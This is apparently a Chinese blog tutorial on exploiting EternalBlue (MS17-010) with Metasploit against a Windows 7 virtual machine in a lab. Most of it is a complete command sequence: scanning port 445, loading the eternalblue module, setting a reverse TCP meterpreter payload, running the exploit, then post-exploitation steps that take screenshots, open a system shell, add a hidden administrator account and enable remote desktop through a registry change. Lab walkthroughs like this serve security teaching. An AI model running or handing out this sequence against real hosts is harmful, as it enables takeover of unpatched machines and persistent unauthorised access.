永恒之蓝(ms17-010)漏洞利用过程
Metaploit介绍
首先我们进入metaploit命令:msfconsole,里面总共有六个模块:
- 辅助模块(auxiliary)
- 渗透攻击模块(exploits)
- 后渗透攻击模块(post)
- 攻击载荷模块(payloads)
- 空指令模块(nops)
- 编码器模块(encoders)
实验环境
本次实验均基于Vmware虚拟机进行操作
- 攻击机:192.168.213.129 (Kali-Linux 2020.1)
- 靶机:192.168.213.132 (Windows 7 x64 旗舰版 防火墙关闭状态)
- 漏洞利用: metaploit ms17_010
漏洞实施
目标扫描
- 查询Windows 7 的ip地址,命令行输入ipconfig,ip为192.168.213.132

- 使用Nessus对目标机器进行扫描

- 使用nmap对目标机器进行扫描

通过扫描可知,目标主机开放了445端口,并且存在smb漏洞
首先启动Vmware虚拟机中的Kali-Linux 操作系统,本次教程使用的版本为Kali-Linux 2020.1
- 查看Kali的ip地址,使用ip addr命令查看eth0可知,ip为192.168.213.129

- 在Kali中打开终端,输入msfconsole命令,当前metasploit版本为 v5.0.71-dev

- 在msf中,输入search ms17_010,查询ms17_010相关的漏洞内容

0 auxiliary/admin/smb/ms17_010_command //扫描445在线主机
1 auxiliary/scanner/smb/smb_ms17_010 //扫描某个网段内是否存在ms17_010漏洞
2 exploit/windows/smb/ms17_010_eternalblue //永恒之蓝漏洞利用模块
3 exploit/windows/smb/ms17_010_eternalblue_win8
4 exploit/windows/smb/ms17_010_psexec
auxiliary目录下的是辅助验证程序
exploit目录下的是漏洞利用程序
二次漏洞扫描
使用msf的auxiliary再对目标机器扫描,判断是否存在"ms17_010"漏洞
- 输入如下命令使用auxiliary/scanner/smb/smb_ms17_010
use auxiliary/scanner/smb/smb_ms17_010

- 输入如下命令查看当前模块的各项参数信息
show options

- 根据提示信息,在左侧Current Setting为当前设置,有一些具有默认值,如果为空,且右侧的Required为yes,则这个值需要我们去设置
- 如上图所述,RHOST的Current Setting为空,且右侧为yes,则这个值需要设置
使用如下命令,设置rhost为目标地址
set rhosts 192.168.213.132

使用如下命令开始对目标主机进行扫描,可以看到存在ms17_010漏洞
run

接下来,我们使用exploit中的漏洞利用模块,当我们use新的模块后,左侧的红色高亮内容将变成我们新使用的模块
use exploit/windows/smb/ms17_010_eternalblue

payload攻击载荷
- payload称为攻击载荷,主要用于建立目标机与攻击机之间的稳定连接,并返回一个shell,也可以进行程序注入等。
meterpreter
meterpreter其实就是一个payload,它需要stagers和相应的stages配合运行,meterpreter运行在内存中,通过注入dll文件实现,在目标机硬盘上不会留下文件痕迹,所以在被入侵时很难找到。所以meterpreter非常适合作为攻击载荷模块。
在MS17-010中使用了windows/x64/meterpreter/reverse_tcp这个攻击载荷,它是由一个传输器载荷(reverse_tcp)和一个传输体载荷(meterpreter)所组成的结合体,其功能等价于独立攻击载荷windows/x64/shell_reverse_tcp
收下使用如下命令配置payload攻击载荷,建立反向tcp连接
set payload windows/x64/meterpreter/reverse_tcp

输入如下命令查看当前模块的各项参数信息
show options

根据上述解析,我们目前知道需要配置两个参数,RHOSTS和LHOSTS,RHOSTS就是目标主机,LHOSTS就是当前主机,接下来使用如下命令进行设置
set rhost 192.168.213.132
set lhost 192.168.213.129

最后,使用如下命令执行漏洞利用
exploit

根据上述结果,我们可以看到,左下角已经已经不是红色的漏洞模块会话,而是 meterpreter 会话,说明已经成功渗透成功,拿到了目标主机的shell权限
执行sysinfo,查询目标主机的系统信息,可以看到具体的计算机名,操作系统具体版本号,系统架构,语言,工作组等信息

我们执行screenshot命令对目标系统进行截图,截图后存储在/home/kali下


输入 shell,切换到靶机的System32目录

创建用户并添加管理员权限
net user test test /add
net localgroup administrators test /add

开启远程桌面
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

连接远程桌面

共有 0 条评论